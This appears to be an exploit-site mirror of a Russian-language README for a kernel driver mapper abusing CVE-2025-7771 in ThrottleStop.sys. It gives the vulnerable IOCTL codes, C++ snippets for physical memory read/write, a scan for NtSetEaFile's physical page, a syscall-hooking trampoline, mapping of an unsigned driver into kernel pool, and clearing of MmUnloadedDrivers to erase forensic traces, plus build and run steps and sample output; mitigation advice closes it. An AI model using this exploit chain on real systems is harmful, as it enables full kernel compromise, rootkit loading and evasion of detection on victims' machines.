Sploitus

Exploit for CVE-2025-7771-Vulnerability-Exploration

kitploit · 2026-08-24

Exploit Code

MARKDOWN428 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-D4RKKS-CVE-2025-7771-VULNERABILITY-EXPLORATION
# 🔓 Эксплойт ядра ThrottleStop.sys — Маппер физической памяти, совместимый с HVCI

> **CVE-2025-7771** — Произвольное чтение/запись физической памяти через IOCTL драйвера ThrottleStop.sys

## ⚠️ Отказ от ответственности

Данный проект опубликован **только в образовательных и исследовательских целях**. Цель — продемонстрировать, как подписанный, доверенный драйвер ядра может быть использован для локального повышения привилегий (LPE) от Администратора до **SYSTEM/Ядра** , эффективно обходя современные функции безопасности Windows, включая **HVCI (Целостность кода, контролируемая гипервизором)** и **Secure Boot**.

**Не используйте этот инструмент в злонамеренных целях.** Автор не несет ответственности за любое неправомерное использование.

* * *

## 📋 Содержание

  * Краткое описание уязвимости
  * Затронутое ПО
  * Технический анализ
    * Уязвимые IOCTL
    * Корневая причина
  * Цепочка эксплуатации
    * Шаг 1 — Загрузка уязвимого драйвера
    * Шаг 2 — Примитивы физической памяти
    * Шаг 3 — Поиск страницы системных вызовов
    * Шаг 4 — Перехват системных вызовов через запись в физическую память
    * Шаг 5 — Произвольное выполнение кода ядра
    * Шаг 6 — Криминалистическая очистка
  * Почему это обходит HVCI
  * Оценка воздействия
  * Сборка и использование
  * Рекомендации по устранению
  * Ссылки



* * *

## Краткое описание уязвимости

* * *

## Затронутое ПО

  * **ThrottleStop** — все версии, поставляющие `ThrottleStop.sys` с IOCTL для отображения физической памяти
  * **Windows 10** 1903 – 22H2 (x64)
  * **Windows 11** 21H2 – 24H2 (x64), включая сборки с **включенным HVCI**
  * Проверено на: Windows 11 26100.x (24H2) с Secure Boot + HVCI



* * *

## Технический анализ

### Уязвимые IOCTL

Драйвер ядра `ThrottleStop.sys` предоставляет устройство (`\\.\ThrottleStop`), доступное любому локальному администратору. Он реализует два IOCTL, которые обеспечивают **неограниченный доступ к физической памяти** :

root@kitploit:~
    
    
    #define IOCTL_TS_READ_PHYS   0x80006498   // Чтение произвольного физического адреса
    #define IOCTL_TS_WRITE_PHYS  0x8000649C   // Запись по произвольному физическому адресу
    

#### Чтение физической памяти (`0x80006498`)

root@kitploit:~
    
    
    Вход:   ULONG64 PhysicalAddress  (8 байт)
    Выход:  Буфер данных              (1–8 байт за вызов, определяется OutputBufferLength)
    

Драйвер вызывает `MmMapIoSpace()`, чтобы отобразить запрошенный физический адрес в виртуальное пространство ядра, копирует данные в выходной буфер, затем вызывает `MmUnmapIoSpace()`. **Никакой проверки** физического адреса не выполняется — можно прочитать любой адрес в физическом адресном пространстве.

#### Запись физической памяти (`0x8000649C`)

root@kitploit:~
    
    
    Вход:   ULONG64 PhysicalAddress (8 байт) + Данные (1–8 байт)
            InputBufferLength = 8 + DataSize
    Выход:  Нет
    

Тот же механизм, что и при чтении, но записывает предоставленные пользователем данные по отображенному физическому адресу. Опять же, **никакой проверки адреса или диапазона**.

### Корневая причина

Драйвер был разработан, чтобы позволить ThrottleStop (утилите для андервольтинга/троттлинга ЦП) напрямую читать/записывать MSR и аппаратные регистры. IOCTL для физической памяти, вероятно, были добавлены для доступа MMIO к конфигурационному пространству PCI или тепловым датчикам ЦП, но реализация выполняет **нулевую проверку границ** :

  1. ❌ Нет проверки, принадлежит ли физический адрес MMIO или ОЗУ
  2. ❌ Нет проверки, находится ли адрес в пределах предполагаемой области памяти вызывающего
  3. ❌ Нет ограничений ACL, кроме требования дескриптора с `GENERIC_READ | GENERIC_WRITE`
  4. ❌ Нет белого списка разрешенных диапазонов физических адресов



Это превращает легитимный драйвер аппаратной утилиты в **полноценный примитив чтения/записи на уровне ядра**.

* * *

## Цепочка эксплуатации

Цепочка эксплуатации повышает привилегии от локальной учетной записи Администратора до **произвольного выполнения кода ядра** , фактически достигая контроля ring-0 на уровне SYSTEM.

### Шаг 1 — Загрузка уязвимого драйвера

Маппер помещает `ThrottleStop.sys` в `%TEMP%`, создает запись службы в реестре по пути `HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop` и загружает его через `NtLoadDriver()`:

root@kitploit:~
    
    
    // Включение привилегии SeLoadDriverPrivilege для текущего процесса
    driver::util::enable_privilege(L"SeLoadDriverPrivilege");
    
    // Создание записи службы, указывающей на размещенный .sys файл
    driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
    
    // Загрузка через NtLoadDriver
    NtLoadDriver(&driver_reg_path_unicode);
    
    // Открытие дескриптора устройства
    CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
    

> **Примечание:** Поскольку ThrottleStop.sys легитимно подписан, он загружается даже при **включенном HVCI/Secure Boot**. Политика CI Windows доверяет сертификату.

### Шаг 2 — Примитивы физической памяти

Имея дескриптор устройства, эксплойт может читать/записывать **любой физический адрес** в системе:

root@kitploit:~
    
    
    // Чтение 8 байт из физического адреса 0x1000
    ULONGLONG phys_addr = 0x1000;
    ULONGLONG data = 0;
    DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
    
    // Запись 8 байт по физическому адресу
    UCHAR input[16];
    *(ULONGLONG*)input = target_phys_addr;      // адрес
    *(ULONGLONG*)(input + 8) = shellcode_qword; // данные
    DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
    

Эксплойт оборачивает это во вспомогательные функции, которые обрабатывают фрагментированные чтения/записи (1, 2, 4 или 8 байт за вызов) для передачи произвольной длины.

### Шаг 3 — Поиск страницы системных вызовов

Чтобы выполнять произвольные функции ядра, эксплойту необходимо найти **физический адрес** обработчика системного вызова ядра. Он нацеливается на `NtSetEaFile` (редко отслеживаемый системный вызов):

  1. **Вычисление RVA** : Загрузите `ntoskrnl.exe` в пользовательском режиме через `LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES)`, получите RVA `NtSetEaFile`
  2. **Вычисление смещения** : Поскольку ntoskrnl отображается с **большими страницами 2MB** , физическое смещение функции внутри страницы 2MB = `RVA & 0x1FFFFF`
  3. **Сканирование физической памяти** : Перечислите диапазоны физической памяти из реестра (`HARDWARE\RESOURCEMAP\System Resources\Physical Memory`), шаг по 2MB и сравнение байтов:



root@kitploit:~
    
    
    for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
    {
        candidate_pa = phys_2mb + offset_in_2mb;
        read_phys(candidate_pa, &first8, 8);
        if (first8 == pattern_first8)  // быстрая проверка
        {
            read_phys(candidate_pa, verify, 32);  // полная проверка
            if (memcmp(verify, pattern, 32) == 0)
            {
                syscall_phys_addr = candidate_pa;  // найдено!
                // ... проверка через PsGetProcessSectionBaseAddress
            }
        }
    }
    

  4. **Проверка** : Вызовите перехваченный системный вызов для вызова `PsGetProcessSectionBaseAddress(current_pid)` и убедитесь, что возвращенная база соответствует `GetModuleHandle(NULL)`.



### Шаг 4 — Перехват системных вызовов через запись в физическую память

Как только физический адрес `NtSetEaFile` известен, эксплойт устанавливает **12-байтовый трамплин** непосредственно через записи в физическую память:

root@kitploit:~
    
    
    ; Исходные байты NtSetEaFile (сохранены для восстановления)
    ; Заменены на:
    mov rax, <target_kernel_address>   ; 48 B8 <8-байтовое imm64>
    push rax                            ; 50
    ret                                 ; C3
    

root@kitploit:~
    
    
    // Установка хука
    unsigned char jmp_code[12] = {
        0x48, 0xB8,                           // mov rax, imm64
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // <целевой адрес>
        0x50,                                 // push rax
        0xC3                                  // ret
    };
    memcpy(jmp_code + 2, &target_function, 8);
    write_phys(syscall_phys_addr, jmp_code, 12);
    
    // Триггер из пользовательского режима
    NtSetEaFile(args...);  // → переходит к target_function в ядре!
    
    // Восстановление исходных байтов
    write_phys(syscall_phys_addr, saved_bytes, 12);
    

> **Ключевая идея:** Запись в **физическую** страницу обходит защиты виртуальной памяти HVCI. HVCI предотвращает страницы `W+X` в виртуальной памяти, но записи в физическую память через `MmMapIoSpace` в драйвере идут непосредственно в ОЗУ.

### Шаг 5 — Произвольное выполнение кода ядра

С помощью примитива перехвата системного вызова эксплойт может вызывать **любую функцию ядра** с произвольными аргументами:

root@kitploit:~
    
    
    // Выделение исполняемой памяти ядра (совместимо с HVCI)
    auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
        POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
    
    // Копирование образа драйвера в пул ядра через RtlCopyMemory
    syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);
    
    // Вызов DriverEntry драйвера
    syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);
    

Это фактически **отображает и выполняет неподписанный драйвер** в пространстве ядра — полное повышение привилегий.

### Шаг 6 — Криминалистическая очистка

После загрузки полезной нагрузки эксплойт удаляет все следы:

* * *

## Почему это обходит HVCI

**HVCI (Целостность кода, контролируемая гипервизором)** предотвращает выполнение неподписанного кода в пространстве ядра, применяя W^X (Write XOR Execute) для виртуальных страниц ядра через трансляцию адресов второго уровня (SLAT/EPT).

Этот эксплойт обходит HVCI, потому что:

  1. **Легитимный драйвер:** `ThrottleStop.sys` правильно подписан и проходит проверку CI, поэтому он загружается нормально, даже когда HVCI активен.

  2. **Физический, а не виртуальный:** IOCTL используют `MmMapIoSpace()`, который работает с физическими адресами. Защита HVCI применяется на уровне таблицы виртуальных страниц и через EPT, но `MmMapIoSpace` создает новое виртуальное отображение для физической страницы с соответствующими разрешениями. Запись на физическую страницу системного вызова изменяет содержимое ОЗУ, на которое уже указывает существующее виртуальное отображение.

  3. **Исполняемый пул:** Эксплойт выделяет память через `ExAllocatePool2` с флагом `POOL_FLAG_NON_PAGED_EXECUTE`, что является **легитимным, одобренным HVCI** способом получения исполняемой памяти ядра. Само ядро использует это для JIT-скомпилированного кода и некоторых выделений пулов.

  4. **Отсутствие загрузки неподписанного драйвера:** Маппер никогда не вызывает `NtLoadDriver` с неподписанным образом. Вместо этого он вручную записывает полезную нагрузку в уже исполняемое выделение пула ядра и вызывает ее точку входа через перехват системного вызова.




root@kitploit:~
    
    
    ┌─────────────────────────────────────────────┐
    │         Пользовательский режим (Админ)      │
    │                                             │
    │  1. Загрузить ThrottleStop.sys (подписан,   │
    │     доверенный)                             │
    │  2. Открыть устройство \\.\ThrottleStop    │
    │  3. Чтение/запись физической памяти через   │
    │     IOCTL                                   │
    └──────────────┬──────────────────────────────┘
                   │ DeviceIoControl
                   ▼
    ┌─────────────────────────────────────────────┐
    │       ThrottleStop.sys (Ядро)               │
    │                                             │
    │  MmMapIoSpace(PhysAddr) → memcpy → unmap   │
    │  Без проверки, любой физический адрес OK    │
    └──────────────┬──────────────────────────────┘
                   │ Запись в физическую память
                   ▼
    ┌─────────────────────────────────────────────┐
    │       Физическая страница NtSetEaFile       │
    │                                             │
    │  Исходные байты перезаписаны:               │
    │  mov rax, <полезная нагрузка>; push rax;   │
    │  ret                                        │
    │                                             │
    │  → Любой вызов NtSetEaFile() из            │
    │    пользовательского режима теперь          │
    │    выполняет произвольный код ядра          │
    └──────────────┬──────────────────────────────┘
                   │ Выполнение кода ядра
                   ▼
    ┌─────────────────────────────────────────────┐
    │       Полный компрометация ядра             │
    │                                             │
    │  • ExAllocatePool2 (исполняемый пул)        │
    │  • Отображение неподписанного драйвера в    │
    │    память ядра                               │
    │  • Вызов DriverEntry → доступ на уровне     │
    │    SYSTEM                                   │
    │  • Удаление всех криминалистических         │
    │    артефактов                               │
    └─────────────────────────────────────────────┘
    

* * *

## Оценка воздействия

* * *

## Сборка и использование

### Требования

  * Visual Studio 2022 с рабочей нагрузкой C++ Desktop
  * Windows SDK 10.0.26100.0+
  * Права администратора на целевой системе



### Сборка

root@kitploit:~
    
    
    git clone https://github.com/<your-repo>/throttlestop-mapper.git
    cd throttlestop-mapper
    # Откройте imxyviMapper.sln в Visual Studio
    # Сборка → x64 Release
    

### Запуск

root@kitploit:~
    
    
    # Базовое использование — автоматическое сканирование физической памяти для поиска страницы системных вызовов
    mapper.exe payload_driver.sys
    
    # С предварительно вычисленным CR3 ядра (быстрее, пропускает сканирование)
    mapper.exe payload_driver.sys 1AD000
    

### Вывод

root@kitploit:~
    
    
    [+] Драйвер: 45056 байт
    [*] Разбор PE...
    [+] PE OK: entry=0x3040 size=0xC000
    [*] Загрузка уязвимого драйвера...
    [+] Драйвер загружен, дескриптор=0x0000000000000094
    [+] IOCTL OK
    [*] Поиск страницы системных вызовов...
    [+] Страница системных вызовов найдена
    [*] Исправление импортов...
    [*] Выделение исполняемого пула ядра (49152 байт)...
    [+] Пул выделен по адресу: FFFFA40B7C8E0000
    [*] Запись драйвера в ядро...
    [*] Вызов точки входа по адресу 0xFFFFA40B7C8E3040...
    [+] Точка входа вернула управление
    [*] Очистка MmUnloadedDrivers...
    [+] MmUnloadedDrivers успешно очищен
    [*] Выгрузка уязвимого драйвера...
    [+] Готово
    

* * *

## Рекомендации по устранению

### Для Microsoft/Windows

  1. **Блок-лист драйверов:** Добавьте хеши `ThrottleStop.sys` в Блок-лист уязвимых драйверов Microsoft
  2. **Улучшение HVCI:** Блокируйте вызовы `MmMapIoSpace`, которые направлены на физические адреса, относящиеся к ОЗУ, от драйверов, не входящих в белый список
  3. **Аудит IOCTL:** Помечайте драйверы, которые открывают примитивы работы с физической памятью, во время сертификации WHQL



### Для разработчика ThrottleStop

  1. **Удалите IOCTL физической памяти** — используйте IOCTL, специфичные для MSR (`rdmsr`/`wrmsr`), вместо сырого `MmMapIoSpace`
  2. **Реализуйте белый список адресов** — ограничьте `MmMapIoSpace` известными диапазонами MMIO (области PCI BAR, LAPIC и т.д.)
  3. **Добавьте ограничения ACL** — ограничьте доступ к устройству SID токена приложения ThrottleStop



### Для системных администраторов

  1. **Политика WDAC:** Создайте настраиваемую политику Windows Defender Application Control (WDAC), которая блокирует `ThrottleStop.sys` по хешу
  2. **Мониторинг загрузки драйверов:** Оповещайте о необычной загрузке драйверов ядра через Sysmon Event ID 6
  3. **Удалите ThrottleStop** , если он не требуется активно для управления ЦП



* * *

## 🏆 Благодарности и признание

* * *

## Ссылки

  * **Demoo1337/ThrottleStop — CVE-2025-7771 PoC** — Первоначальное исследование уязвимости и эксплойт
  * physmeme — Фреймворк для эксплуатации физической памяти (Лицензия MIT, xerox/IDontCode)
  * kdmapper — Маппер драйверов ядра
  * Блок-лист уязвимых драйверов Microsoft
  * Обзор дизайна HVCI — Microsoft
  * MmMapIoSpace — Документация Microsoft



* * *

## Лицензия

Этот проект выпущен под **лицензией MIT** для образовательных исследовательских целей. Нижележащий фреймворк `physmeme` защищен авторским правом © 2020 xerox (лицензия MIT).

* * *

> **🔬 Ответственное раскрытие:** Эта уязвимость была обнаружена **Demoo1337** и раскрыта вендору. Этот репозиторий служит документацией для сообщества исследователей безопасности.